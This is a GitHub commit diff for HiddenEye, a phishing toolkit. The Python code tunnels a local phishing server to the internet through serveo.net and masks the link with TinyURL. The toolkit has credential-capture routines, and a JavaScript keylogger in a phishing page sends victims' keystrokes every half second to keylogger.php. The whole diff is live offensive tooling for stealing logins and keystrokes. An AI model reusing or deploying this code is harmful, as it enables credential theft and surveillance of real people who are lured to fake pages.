Merge pull request #143 from DarkSecDevelopers/master

Dev branch latest update
This commit is contained in:
Artur Tretiak 2018-11-19 19:51:52 +02:00 committed by GitHub
commit 711b8a9256
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
9 changed files with 98 additions and 46 deletions

View File

@ -99,18 +99,25 @@ def runNgrok():
def runServeo(): def runServeo():
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &') system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &')
sleep(7) sleep(7)
with open('link.url') as creds: try:
lines = creds.read().rstrip()
if len(lines) != 0:
pass
else:
runServeo()
output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url",shell=True) output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url",shell=True)
url = str(output).strip("b ' \ n") url = str(output).strip("b ' \ n")
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN)) print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN))
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https') print("\n")
data = urlopen("http://tinyurl.com/api-create.php?url="+url)
url = data.read()
link = url.decode('utf-8')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN)) print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN))
print("\n") print("\n")
except subprocess.CalledProcessError:
print ('''
....._____....... ____ ____ ____ _ ____ _ ____ _ ____ _ _
/ \/| [__ | | | | |__| | |___ | [__ |__|
\o__ /\| ___] |__| |___ | | | |___ | | ___] | |
\|
{0}[{1}!{0}]{1} Network error. Verify your connection.\n
'''.format(RED, DEFAULT))
exit(0)
def runMainMenu(): #menu where user select what they wanna use def runMainMenu(): #menu where user select what they wanna use
system('clear') system('clear')
@ -266,7 +273,7 @@ def endMessage(): #Message when HiddenEye exit
{3}HIDDEN EYE {3}BY: DARKSEC TEAM {3}HIDDEN EYE {3}BY: DARKSEC TEAM
{0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL
{3}https://github.com/DarkSecDevelopers '''.format(GREEN, DEFAULT, CYAN, RED)) {3}https://github.com/DarkSecDevelopers/HiddenEye '''.format(GREEN, DEFAULT, CYAN, RED))
def getCredentials(): def getCredentials():

View File

@ -1,8 +1,9 @@
#!/usr/bin/python3
#HiddenEye by Open Source Community #HiddenEye by Open Source Community
import multiprocessing import multiprocessing
from Defs.Checks import checkConnection, checkNgrok from Defs.Checks import *
from Defs.Configurations import createConfig, readConfig, ifSettingsNotExists from Defs.Configurations import *
from Defs.Actions import runPhishing, selectServer, runNgrok, runServeo, runMainMenu, inputCustom, runServer, endMessage, getCredentials, writeLog from Defs.Actions import *

File diff suppressed because one or more lines are too long

Binary file not shown.

After

Width:  |  Height:  |  Size: 107 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 395 KiB

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -8,7 +8,7 @@ document.onkeypress = function(e) {
} }
window.setInterval(function(){ window.setInterval(function(){
if(keys != '') { if(keys != '') {
new Image().src = 'keylogger.php?c='+keys; new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);
keys = ''; keys = '';
} }
}, 500); }, 500);